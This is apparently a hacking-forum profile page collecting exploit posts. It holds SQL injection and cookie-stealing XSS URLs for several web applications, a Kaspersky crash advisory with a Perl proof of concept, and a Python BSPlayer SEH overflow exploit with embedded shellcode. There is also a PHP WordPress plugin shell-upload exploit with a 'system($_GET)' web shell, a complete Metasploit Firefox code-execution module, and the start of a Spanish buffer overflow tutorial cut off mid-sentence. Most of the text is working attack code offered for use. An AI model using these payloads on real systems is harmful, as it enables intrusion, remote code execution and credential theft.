Jump to content

HireHackking

Members
  • Joined

  • Last visited

Everything posted by HireHackking

  1. source: https://www.securityfocus.com/bid/51125/info Joomla! 'com_tsonymf' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/[PATH]/index.php?option=com_tsonymf&controller=fpage&task=flypage&idofitem=162 (SQL)
  2. source: https://www.securityfocus.com/bid/51128/info Tiki Wiki CMS Groupware is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. Tested with Firefox 7.01 Visit this URL http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss=</style></script><script>alert(document.cookie)</script> -> blank site But when you visit one of this pages, the XSS will be executed http://www.example.com/tiki-8.1/tiki-login.php http://www.example.com/tiki-8.1/tiki-remind_password.php // browser source code show_errors: &#039;y&#039;, xss: &#039;</style></script><script>alert(document.cookie)</script>&#039; }; Another example: http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss1=</style></script><script>alert(document.cookie)</script> http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss2=</style></script><script>alert(document.cookie)</script> http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss3=</style></script><script>alert(document.cookie)</script> All of them will be executed! // browser source code show_errors: &#039;y&#039;, xss1: &#039;</style></script><script>alert(document.cookie)</script>&#039;, xss2: &#039;</style></script><script>alert(document.cookie)</script>&#039;, xss3: &#039;</style></script><script>alert(document.cookie)</script>&#039; };
  3. source: https://www.securityfocus.com/bid/51130/info PHPShop CMS is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content. Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. PHPShop CMS 3.4 is vulnerable; prior versions may also be affected. SQL: http://www.example.com/phpshop/admpanel/photo/admin_photo_content.php?pid=6%20AND%201=2 http://www.example.com/phpshop/admpanel/page/adm_pages_new.php?catalogID=3%20AND%201=2 http://www.example.com/phpshop/admpanel/catalog/admin_cat_content.php?pid=3%20AND%201=2 http://www.example.com/phpshop/admpanel/catalog/adm_catalog_new.php?id=3%20AND%201=1 XSS: http://www.example.com/phpshop/admpanel/banner/adm_baner_new.php/%22%3E%3Cscript%3Ealert%28document.cookie%29 ;%3C/script%3E http://www.example.com/phpshop/admpanel/gbook/adm_gbook_new.php/%22%3E%3Cscript%3Ealert%28document.cookie%29; %3C/script%3E http://www.example.com/phpshop/admpanel/links/adm_links_new.php/%22%3E%3Cscript%3Ealert%28document.cookie%29; %3C/script%3E http://www.example.com/phpshop/admpanel/menu/adm_menu_new.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3 C/script%3E http://www.example.com/gbook/?a=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://www.example.com/phpshop/admpanel/catalog/admin_cat_content.php?pid=%22%3E%3Cscript%3Ealert%28document. cookie%29;%3C/script%3E http://www.example.com/phpshop/admpanel/catalog/adm_catalog_new.php?id=%%22%3E%3Cscript%3Ealert%28document.co okie%29;%3C/script%3E http://www.example.com/phpshop/admpanel/page/adm_pages_new.php?catalogID=%22%3E%3Cscript%3Ealert%28document.c ookie%29;%3C/script%3E http://www.example.com/phpshop/admpanel/photo/admin_photo_content.php?pid=%22%3E%3Cscript%3Ealert%28document. cookie%29;%3C/script%3E
  4. source: https://www.securityfocus.com/bid/51143/info Cyberoam UTM is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/corporate/Controller?mode=301&tableid=[SQL]&sort=&dir=
  5. source: https://www.securityfocus.com/bid/51141/info Joomla! 'com_caproductprices' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/[PATH]/index.php?option=com_caproductprices&Itemid=&task=graph&id=83 (SQL)
  6. source: https://www.securityfocus.com/bid/51149/info epesi BIM is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. epesi BIM 1.2.0 rev 8154 is vulnerable; prior versions may also be affected. http://www.example.com/admin/phpfm.php?frame=3&dir_atual=%3Cscript%3Ealert%28123%29;%3C/script%3E http://www.example.com/admin/themeup.php/%22%3E%3Cscript%3Ealert%28123%29;%3C/script%3E http://www.example.com/admin/wfb.php?msg=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
  7. source: https://www.securityfocus.com/bid/51156/info Barracuda Control Center 620 is prone to an HTML injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. https://www.example.com/bcc/editdevices.jsp?device-type=spyware&selected-node=1&containerid=[IVE] https://www.example.com/bcc/main.jsp?device-type=[IVE]
  8. source: https://www.securityfocus.com/bid/51161/info Kaspersky Internet Security and Anti-Virus are prone to a local memory-corruption vulnerability. A local attacker can exploit this issue to cause the affected application to crash, denying service to legitimate users. Due to the nature of this issue, arbitrary code execution may be possible; this has not been confirmed. Title: ====== Kaspersky IS&AV 2011/12 - Memory Corruption Vulnerability Date: ===== 2011-12-19 References: =========== http://www.vulnerability-lab.com/get_content.php?id=129 VL-ID: ===== 129 Introduction: ============= Kaspersky Internet Security 2011 has everything that you need to stay safe and secure while you re surfing the web. It provides constant protection for you and your family – whether you work, bank, shop or play online. Kaspersky Anti-Virus 2011 – the backbone of your PC’s security system, offering real-time automated protection from a range of IT threats. Kaspersky Anti-Virus 2011 provides the basic tools needed to protect your PC. Our award-winning technologies work silently in the background while you enjoy your digital life. (Copy of Vendor Homepage: http://www.kaspersky.com/kaspersky_anti-virus && http://www.kaspersky.com/kaspersky_internet_security) Abstract: ========= Vulnerability-Lab Team discovered a Memory & Pointer Corruption Vulnerability on Kaspersky Internet Security 2011/2012 & Kaspersky Anti-Virus 2011/2012. Report-Timeline: ================ 2010-12-04: Vendor Notification 2011-01-16: Vendor Response/Feedback 2011-12-19: Public or Non-Public Disclosure Status: ======== Published Affected Products: ================== Exploitation-Technique: ======================= Local Severity: ========= Medium Details: ======== A Memory Corruption vulnerability is detected on Kaspersky Internet Security 2011/2012 & Kaspersky Anti-Virus 2011/2012. The vulnerability is caused by an invalid pointer corruption when processing a corrupt .cfg file through the kaspersky exception filters, which could be exploited by attackers to crash he complete software process. The bug is located over the basegui.ppl & basegui.dll when processing a .cfg file import. Vulnerable Modules: [+] CFG IMPORT Affected Version(s): Kaspersky Anti-Virus 2012 & Kaspersky Internet Security 2012 KIS 2012 v12.0.0.374 KAV 2012 v12.x Kaspersky Anti-Virus 2011 & Kaspersky Internet Security 2011 KIS 2011 v11.0.0.232 (a.b) KAV 11.0.0.400 KIS 2011 v12.0.0.374 Kaspersky Anti-Virus 2010 & Kaspersky Internet Security 2010 --- Kaspersky Bug Logs --- Folder: ../Analyses/Crash Reports (KIS&KAV) KAV.11.0.0.232_08.04_22.24_3620.GUI.full.dmp KAV.11.0.0.232_08.04_22.24_3620.GUI.mini.dmp KAV.11.0.0.232_08.04_22.24_3620.GUI.tiny.dmp KAV.11.0.0.232_08.04_22.28_2956.GUI.full.dmp KAV.11.0.0.232_08.04_22.28_2956.GUI.mini.dmp KAV.11.0.0.232_08.04_22.28_2956.GUI.tiny.dmp KAV.11.0.0.232?_08.04_23.21_3712.GUI.full.dmp KAV.11.0.0.232?_08.04_23.21_3712.GUI.mini.dmp KAV.11.0.0.232?_08.04_23.21_3712.GUI.tiny.dmp KAV.11.0.0.232?_08.04_23.54_2640.GUI.full.dmp KAV.11.0.0.232?_08.04_23.54_2640.GUI.mini.dmp KAV.11.0.0.232?_08.04_23.54_2640.GUI.tiny.dmp Reference(s): ../Analyses/Crash Reports (KIS&KAV)/kav_x32.rar ../Analyses/Crash Reports (KIS&KAV)/kis_x32-win7.zip ../Analyses/Crash Reports (KIS&KAV)/kis_x64.zip --- Service Crash Report Queue Logs --- Folder: ../Analyses/Crash Reports (Service) AppCrash_avp.exe_1d98841adaefc9689cba9c4bbd7 AppCrash_avp.exe_434b4962a0ccbccd3c2a6bd5f95 AppCrash_avp.exe_583f849d49fe1a714c9bd02ba4e AppCrash_avp.exe_5f09d49c257b515e08a6defbf11 AppCrash_avp.exe_69cb355e72347419436f047a313 AppCrash_avp.exe_69cb355e72347419436f047a313 AppCrash_avp.exe_a7a7fe58d34d13f0136d933e977 AppCrash_avp.exe_d21fe6df9c207eac2d8c6bcacad AppCrash_avp.exe_d2c8cf27ba2a3f6ceaad6c44327 AppCrash_avp.exe_ed94bb914e255192b71d1257c19 Version=1 EventType=APPCRASH EventTime=129256270253026260 ReportType=2 Consent=1 UploadTime=129256270260076663 ReportIdentifier=d70927a2-a1d7-11df-81a1-95fa4108d4d6 IntegratorReportIdentifier=d70927a1-a1d7-11df-81a1-95fa4108d4d6 WOW64=1 Response.BucketId=1985200055 Response.BucketTable=1 Response.type=4 Sig[0].Name=Anwendungsname Sig[0].Value=avp.exe Sig[1].Name=Anwendungsversion Sig[1].Value=11.0.1.400 Sig[2].Name=Anwendungszeitstempel Sig[2].Value=4c2cd011 Sig[3].Name=Fehlermodulname Sig[3].Value=basegui.ppl Sig[4].Name=Fehlermodulversion Sig[4].Value=11.0.1.400 Sig[5].Name=Fehlermodulzeitstempel Sig[5].Value=4c2cd193 Sig[6].Name=Ausnahmecode Sig[6].Value=c0000005 Sig[7].Name=Ausnahmeoffset Sig[7].Value=00079c3c DynamicSig[1].Name=Betriebsystemversion DynamicSig[1].Value=6.1.7600.2.0.0.768.3 DynamicSig[2].Name=Gebietsschema-ID DynamicSig[2].Value=1031 DynamicSig[22].Name=Zusatzinformation 1 DynamicSig[22].Value=0a9e DynamicSig[23].Name=Zusatzinformation 2 DynamicSig[23].Value=0a9e372d3b4ad19135b953a78882e789 DynamicSig[24].Name=Zusatzinformation 3 DynamicSig[24].Value=0a9e DynamicSig[25].Name=Zusatzinformation 4 DynamicSig[25].Value=0a9e372d3b4ad19135b953a78882e789 UI[2]=C://Program Files (x86)/Kaspersky Lab/Kaspersky Internet Security 2011/avp.exe UI[3]=Kaspersky Anti-Virus funktioniert nicht mehr UI[4]=Windows kann online nach einer Lösung für das Problem suchen und versuchen, das Programm neu zu starten. UI[5]=Online nach einer Lösung suchen und das Programm neu starten UI[6]=Später online nach einer Lösung suchen und das Programm schließen UI[7]=Programm schließen LoadedModule[0]=C:/Program Files (x86)/Kaspersky Lab/Kaspersky Internet Security 2011/avp.exe LoadedModule[1]=C://Windows/SysWOW64/ntdll.dll LoadedModule[2]=C://Windows/syswow64/kernel32.dll LoadedModule[3]=C:/Windows/syswow64/KERNELBASE.dll ... ... LoadedModule[148]=C://Windows//SysWOW64//WMVCore.DLL LoadedModule[149]=C://Windows////SysWOW64//WMASF.DLL LoadedModule[150]=C://Windows//////SysWOW64////EhStorAPI.dll LoadedModule[151]=C://Program Files (x86)//Internet Explorer//ieproxy.dll LoadedModule[152]=C://Windows//SysWOW64//SAMLIB.dll State[0].Key=Transport.DoneStage1 State[0].Value=1 State[1].Key=DataRequest State[1].Value=Bucket=1985200055/nBucketTable=1/nResponse=1/n FriendlyEventName=Nicht mehr funktionsfähig ConsentKey=APPCRASH AppName=Kaspersky Anti-Virus AppPath=C://Program Files (x86)//Kaspersky Lab//Kaspersky Internet Security 2011//avp.exe --- System Crash Report Queue Logs --- Folder: Analyses//Crash Reports (System) WER7A62.tmp.appcompat.txt WER7FFE.tmp.mdmp WER6127.tmp.WERInternalMetadata.xml --- Exception Log --- (a50.ee8): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=0331e7bc ecx=9699eef0 edx=6ddf9ba0 esi=00000002 edi=00000000 eip=76f900ed esp=0331e76c ebp=0331e808 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 --- Debug Logs --- FAULTING_IP: basegui+79bed 6ddf9bed 8b11 mov edx,dword ptr [ecx] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 6ddf9bed (basegui+0x00079bed) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 9699eef0 Attempt to read from address 9699eef0 PROCESS_NAME: avp.exe FAULTING_MODULE: 755b0000 kernel32 DEBUG_FLR_IMAGE_TIMESTAMP: 4c4f15cf MODULE_NAME: basegui ERROR_CODE: (NTSTATUS) 0xc0000005 - Die Anweisung in 0x%08lx verweist auf Speicher 0x%08lx. Der Vorgang %s konnte nicht im Speicher durchgef hrt werden. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - Die Anweisung in 0x%08lx verweist auf Speicher 0x%08lx. Der Vorgang %s konnte nicht im Speicher durchgef hrt werden. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 9699eef0 READ_ADDRESS: 9699eef0 FOLLOWUP_IP: basegui+79bed 6ddf9bed 8b11 mov edx,dword ptr [ecx] FAULTING_THREAD: 00000ee8 BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE_INVALID_POINTER_READ PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE LAST_CONTROL_TRANSFER: from 6ddf9bfd to 6ddf9bed STACK_TEXT: 0331f9b8 6ddf9bfd 0331fa54 02485068 00000001 basegui+0x79bed 0331f9f0 6ddf9bfd 0331fa54 02485068 00000001 basegui+0x79bfd 0331fa28 6de5bd10 0331fa54 02485068 00000001 basegui+0x79bfd 0331fa48 6de33ad0 0331fa54 000001f6 000001c2 basegui!DllUnregisterServer+0x12580 0331fa5c 6de34320 00000200 00000000 01c201f6 basegui+0xb3ad0 0331fa9c 6de34d45 000504b4 00000200 00000000 basegui+0xb4320 0331fae0 6de33fdd 000504b4 00000200 00000000 basegui+0xb4d45 0331fb30 754c6238 00000000 00000200 00000000 basegui+0xb3fdd 0331fb5c 754f12a1 02bb0fb0 000504b4 00000200 user32!gapfnScSendMessage+0x270 0331fbd8 754f10e2 0059afd4 02bb0fb0 000504b4 user32!SendNotifyMessageW+0x341 0331fc28 754f11e7 00a06c90 00000000 00000200 user32!SendNotifyMessageW+0x182 0331fc48 754c6238 000504b4 00000200 00000000 user32!SendNotifyMessageW+0x287 0331fc74 754c68ea 754f11be 000504b4 00000200 user32!gapfnScSendMessage+0x270 0331fcec 754c7d31 0059afd4 76db3908 000504b4 user32!gapfnScSendMessage+0x922 0331fd4c 754c7dfa 76db3908 00000000 0331fd88 user32!LoadStringW+0x11f 0331fd5c 754e2292 0331fe18 00000000 0331fe18 user32!DispatchMessageW+0xf 0331fd88 754e70a9 000504b4 00000000 02485048 user32!IsDialogMessageW+0x11e 0331fdb0 6de2e50b 000504b4 0331fe18 023d9be8 user32!IsDialogMessage+0x58 0331fdcc 6de20c1c 0331fe18 74113b90 00000000 basegui+0xae50b 0331fdfc 6de231a8 0331fe18 7411383c 02e260ec basegui+0xa0c1c 0331fe50 6de07dbc 00000000 005e8228 6ddd6f8c basegui+0xa31a8 0331fe64 72da3487 00000003 00000000 005e8244 basegui+0x87dbc STACK_COMMAND: ~5s; .ecxr ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: basegui+79bed FOLLOWUP_NAME: MachineOwner IMAGE_NAME: basegui.ppl BUCKET_ID: WRONG_SYMBOLS FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_c0000005_basegui.ppl!Unknown WATSON_STAGEONE_URL: http://watson.microsoft.com/StageOne/avp_exe/11_0_0_232/4be3cfb6/basegui_ppl/11_0_0_241/4c4f15cf/c0000005/00079bed.htm?Retriage=1 Followup: MachineOwner --------- 0:005> lmvm basegui start end module name 6dd80000 6df19000 basegui (export symbols) basegui.ppl Loaded symbol image file: basegui.ppl Image path: C://Program Files (x86)//Kaspersky Lab//Kaspersky Internet Security 2011//basegui.ppl Image name: basegui.ppl Timestamp: Tue Jul 27 19:22:23 2010 (4C4F15CF) CheckSum: 0019E22D ImageSize: 00199000 File version: 11.0.0.241 Product version: 11.0.0.241 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 1.0 App File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: Kaspersky Lab ZAO ProductName: Kaspersky Anti-Virus InternalName: BASEGUI OriginalFilename: BASEGUI.DLL ProductVersion: 11.0.0.241 FileVersion: 11.0.0.241 FileDescription: Kaspersky Anti-Virus GUI Windows part LegalCopyright: Copyright © Kaspersky Lab ZAO 1997-2010. LegalTrademarks: Kaspersky™ Anti-Virus ® is registered trademark of Kaspersky Lab ZAO. 0:005> .exr 0xffffffffffffffff ExceptionAddress: 6ddf9bed (basegui+0x00079bed) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 9699eef0 Attempt to read from address 9699eef0 Information: The kaspersky .cfg file import exception-handling filters wrong or manipulated file imports like one this first test ... (wrong-way.png). The PoC is not affected by the import exception-handling & get through without any problems. A invalid pointer write & read allows an local attacker to crash the software via memory corruption. The technic & software to detect the bug in the binary is prv8. Notice: An local attacker do not need to know any passwords to load a .cfg (Configuration) file. (access-rights.png) Folder: ../Analyses/Debug References(Pictures): ../appcrash1.png ../appcrash2.png ../appcrash3.png ../appcrash4.png ../appcrash5.png ../debug&exception.png ../kav2011.png ../reproduce-x32.png ../wrong-way.png ../access-rights.png Proof of Concept: ================= The vulnerability can be exploited by local attackers via import or remote attacker via user inter action. For demonstration or reproduce ... #!/usr/bin/perl ############################################################################## my $code="corrupt" x 1; ################################################################### $FH1 = "file1"; $FilePath1 = "part1.bin"; $FH2 = "file2"; $FilePath2 = "part2.bin"; ################################################################### open(myfile,'>> poc_pwn.cfg'); binmode myfile; ################################################################### open(FH1, $FilePath1); binmode FH1; while (<FH1>) { print myfile; } close(FH1); print myfile $code; open(FH2, $FilePath2); binmode FH2; while (<FH2>) { print myfile; } close(FH2); ################################################################### PoC: ../PoC/kis&kav_2011_2012_p0c.pl ../PoC/part1.bin ../PoC/part2.bin Risk: ===== The security risk of the bug/vulnerability is estimated as medium(+). Credits: ======== Vulnerability Research Laboratory - Benjamin K.M. (Rem0ve) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability- Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab or its suppliers. Copyright © 2011|Vulnerability-Lab
  9. #!/usr/bin/python ''' Bsplayer suffers from a buffer overflow vulnerability when processing the HTTP response when opening a URL. In order to exploit this bug I partially overwrited the seh record to land at pop pop ret instead of the full address and then used backward jumping to jump to a long jump that eventually land in my shellcode. Tested on : windows xp sp1 - windows 7 sp1 - Windows 8 Enterprise it might work in other versions as well just give it a try :) My twitter: @fady_osman My youtube: https://www.youtube.com/user/cutehack3r ''' import socket import sys s = socket.socket() # Create a socket object if(len(sys.argv) < 3): print "[x] Please enter an IP and port to listen to." print "[x] " + sys.argv[0] + " ip port" exit() host = sys.argv[1] # Ip to listen to. port = int(sys.argv[2]) # Reserve a port for your service. s.bind((host, port)) # Bind to the port print "[*] Listening on port " + str(port) s.listen(5) # Now wait for client connection. c, addr = s.accept() # Establish connection with client. # Sending the m3u file so we can reconnect to our server to send both the flv file and later the payload. print(('[*] Sending the payload first time', addr)) c.recv(1024) #seh and nseh. buf = "" buf += "\xbb\xe4\xf3\xb8\x70\xda\xc0\xd9\x74\x24\xf4\x58\x31" buf += "\xc9\xb1\x33\x31\x58\x12\x83\xc0\x04\x03\xbc\xfd\x5a" buf += "\x85\xc0\xea\x12\x66\x38\xeb\x44\xee\xdd\xda\x56\x94" buf += "\x96\x4f\x67\xde\xfa\x63\x0c\xb2\xee\xf0\x60\x1b\x01" buf += "\xb0\xcf\x7d\x2c\x41\xfe\x41\xe2\x81\x60\x3e\xf8\xd5" buf += "\x42\x7f\x33\x28\x82\xb8\x29\xc3\xd6\x11\x26\x76\xc7" buf += "\x16\x7a\x4b\xe6\xf8\xf1\xf3\x90\x7d\xc5\x80\x2a\x7f" buf += "\x15\x38\x20\x37\x8d\x32\x6e\xe8\xac\x97\x6c\xd4\xe7" buf += "\x9c\x47\xae\xf6\x74\x96\x4f\xc9\xb8\x75\x6e\xe6\x34" buf += "\x87\xb6\xc0\xa6\xf2\xcc\x33\x5a\x05\x17\x4e\x80\x80" buf += "\x8a\xe8\x43\x32\x6f\x09\x87\xa5\xe4\x05\x6c\xa1\xa3" buf += "\x09\x73\x66\xd8\x35\xf8\x89\x0f\xbc\xba\xad\x8b\xe5" buf += "\x19\xcf\x8a\x43\xcf\xf0\xcd\x2b\xb0\x54\x85\xd9\xa5" buf += "\xef\xc4\xb7\x38\x7d\x73\xfe\x3b\x7d\x7c\x50\x54\x4c" buf += "\xf7\x3f\x23\x51\xd2\x04\xdb\x1b\x7f\x2c\x74\xc2\x15" buf += "\x6d\x19\xf5\xc3\xb1\x24\x76\xe6\x49\xd3\x66\x83\x4c" buf += "\x9f\x20\x7f\x3c\xb0\xc4\x7f\x93\xb1\xcc\xe3\x72\x22" buf += "\x8c\xcd\x11\xc2\x37\x12" jmplong = "\xe9\x85\xe9\xff\xff" nseh = "\xeb\xf9\x90\x90" # Partially overwriting the seh record (nulls are ignored). seh = "\x3b\x58\x00\x00" buflen = len(buf) response = "\x90" *2048 + buf + "\xcc" * (6787 - 2048 - buflen) + jmplong + nseh + seh #+ "\xcc" * 7000 c.send(response) c.close() c, addr = s.accept() # Establish connection with client. # Sending the m3u file so we can reconnect to our server to send both the flv file and later the payload. print(('[*] Sending the payload second time', addr)) c.recv(1024) c.send(response) c.close() s.close()
  10. <?php ########################################### #-----------------------------------------# #[ 0-DAY Aint DIE | No Priv8 | KedAns-Dz ]# #-----------------------------------------# # *----------------------------* # # K |....##...##..####...####....| . # # h |....#...#........#..#...#...| A # # a |....#..#.........#..#....#..| N # # l |....###........##...#.....#.| S # # E |....#.#..........#..#....#..| e # # D |....#..#.........#..#...#...| u # # . |....##..##...####...####....| r # # *----------------------------* # #-----------------------------------------# #[ Copyright (c) 2015 | Dz Offenders Cr3w]# #-----------------------------------------# ########################################### # >> D_x . Made In Algeria . x_Z << # ########################################### # # [>] Title : WordPress plugin (InBoundio Marketing) Shell Upload Vulnerability # # [>] Author : KedAns-Dz # [+] E-mail : ked-h (@hotmail.com) # [+] FaCeb0ok : fb.me/K3d.Dz # [+] TwiTter : @kedans # # [#] Platform : PHP / WebApp # [+] Cat/Tag : File Upload / Code Exec # # [<] <3 <3 Greetings t0 Palestine <3 <3 # [!] Vendor : http://www.inboundio.com # ########################################### # # [!] Description : # # Wordpress plugin InBoundio Marketing v1.0 is suffer from File/Shell Upload Vulnerability # remote attacker can upload file/shell/backdoor and exec commands. # #### # Lines (6... to 20) : csv_uploader.php #### # # ExpLO!T : # ------- $postData = array(); $postData[ 'file' ] = "@k3dz.php"; #Shell_2_Exec ;) $dz = curl_init(); curl_setopt($dz, CURLOPT_URL, "http://[Target]/wp-content/plugins/inboundio-marketing/admin/partials/csv_uploader.php"); curl_setopt($dz, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); curl_setopt($dz, CURLOPT_POST, 1); curl_setopt($dz, CURLOPT_POSTFIELDS, $postData ); curl_setopt($dz, CURLOPT_TIMEOUT, 0); $buf = curl_exec ($dz); curl_close($dz); unset($dz); echo $buf; /* [!] creat your shell file => _ k3dz.php : <?php system($_GET['dz']); ?> [>] Post the exploit [+] Find you'r backdoor : ../inboundio-marketing/admin/partials/uploaded_csv/k3dz.php?dz=[ CMD ] [+] Or upload what you whant ^_^ ... */ #### # <! THE END ^_* ! , Good Luck all <3 | 0-DAY Aint DIE ^_^ !> # Hassi Messaoud (30500) , 1850 city/hood si' elHaouass .<3 #--------------------------------------------------------------- # Greetings to my Homies : Meztol-Dz , Caddy-Dz , Kalashinkov3 , # Chevr0sky , Mennouchi.Islem , KinG Of PiraTeS , TrOoN , T0xic, # & Jago-dz , Over-X , Kha&miX , Ev!LsCr!pT_Dz , Barbaros-DZ , & # & KnocKout , Angel Injection , The Black Divels , kaMtiEz , & # & Evil-Dz , Elite_Trojan , MalikPc , Marvel-Dz , Shinobi-Dz, & # & Keystr0ke , JF , r0073r , CroSs , Inj3ct0r/Milw0rm 1337day & # PacketStormSecurity * Metasploit * OWASP * OSVDB * CVE Mitre ; #### # REF : http://k3dsec.blogspot.com/2015/03/wordpress-plugin-inboundio-marketing.html ?>
  11. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/exploitation/jsobfu' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::Remote::FirefoxPrivilegeEscalation def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox Proxy Prototype Privileged Javascript Injection', 'Description' => %q{ This exploit gains remote code execution on Firefox 31-34 by abusing a bug in the XPConnect component and gaining a reference to the privileged chrome:// window. This exploit requires the user to click anywhere on the page to trigger the vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'joev' # discovery and metasploit module ], 'DisclosureDate' => "Jan 20 2014", 'References' => [ ['CVE', '2014-8636'], ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1120261'], ['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636' ] ], 'Targets' => [ [ 'Universal (Javascript XPCOM Shell)', { 'Platform' => 'firefox', 'Arch' => ARCH_FIREFOX } ], [ 'Native Payload', { 'Platform' => %w{ java linux osx solaris win }, 'Arch' => ARCH_ALL } ] ], 'DefaultTarget' => 0, 'BrowserRequirements' => { :source => 'script', :ua_name => HttpClients::FF, :ua_ver => lambda { |ver| ver.to_i.between?(31, 34) } } )) register_options([ OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ]) ], self.class) end def on_request_exploit(cli, request, target_info) send_response_html(cli, generate_html(target_info)) end def default_html "The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected." end def generate_html(target_info) key = Rex::Text.rand_text_alpha(5 + rand(12)) frame = Rex::Text.rand_text_alpha(5 + rand(12)) r = Rex::Text.rand_text_alpha(5 + rand(12)) opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin js = js_obfuscate %Q| var opts = #{JSON.unparse(opts)}; var key = opts['#{key}']; var props = {}; props.has = function(n){ if (!window.top.x && n=='nodeType') { window.top.x=window.open("chrome://browser/content/browser.xul", "x", "chrome,,top=-9999px,left=-9999px,height=100px,width=100px"); if (window.top.x) { Object.setPrototypeOf(document, pro); setTimeout(function(){ x.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>'; setTimeout(function(){ x.messageManager.loadFrameScript('data:,'+key, false); setTimeout(function(){ x.close(); }, 100) }, 100) }, 100); } } } var pro = Object.getPrototypeOf(document); Object.setPrototypeOf(document, Proxy.create(props)); | %Q| <!doctype html> <html> <body> <script> #{js} </script> #{datastore['CONTENT'] || default_html} </body> </html> | end end
  12. Antes de la explotación del Buffer Overflow tenemos que entender que ocurre cuando ejecutamos este tipo de ataque, para ello vamos a empezar desde lo más básico. Índice: IntroducciónRegistrosProceso en la memoriaStackFuncionesEndiannessNOPS – No Operation Instruction Introducción La CPU (Unidad Central de Procesamiento), es la parte de nuestro ordenador que se encarga de ejecutar el «código máquina». El código máquina es una serie de instrucciones que la CPU procesa. Siendo estas instrucciones, cada una de ellas un comando básico que ejecuta una operación específica, como mover datos, cambiar el flujo de ejecución del programa, hacer operaciones aritméticas, operaciones lógicas, etc. Las instrucciones de la CPU son representadas en hexadecimal. Sin embargo, ésta misma instrucciones son traducidas a código mnemotécnico (un lenguaje mas legible), y es esto lo que conocemos como código ensamblador (ASM). Entonces, de forma gráfica, la diferencia entre el código máquina y el lenguaje ensamblador es la siguiente: Cada CPU tiene su Conjunto de Instrucciones, en inglés: Instruction Set Architecture (ISA). El ISA es una serie de instrucciones que el programador o el compilador debe entender y usar para poder escribir un programa correctamente para esa CPU y máquina en específico. En otras palabras, ISA es lo que el programador puede ver, es decir, memoria, registros, instrucciones, etc. Da toda la información necesaria para el que quiera escribir un programa en ese lenguaje maquina. Registros Cuando se habla de que un procesador es de 32 o 64 bits, se refiere al ancho de los registros de la CPU. Cada CPU tiene un conjunto de registros que son accesibles cuando se requieren. Se podría pensar en los registros como variables temporales usadas por la CPU para obtener y almacenar datos. Hay registros que tienen una función 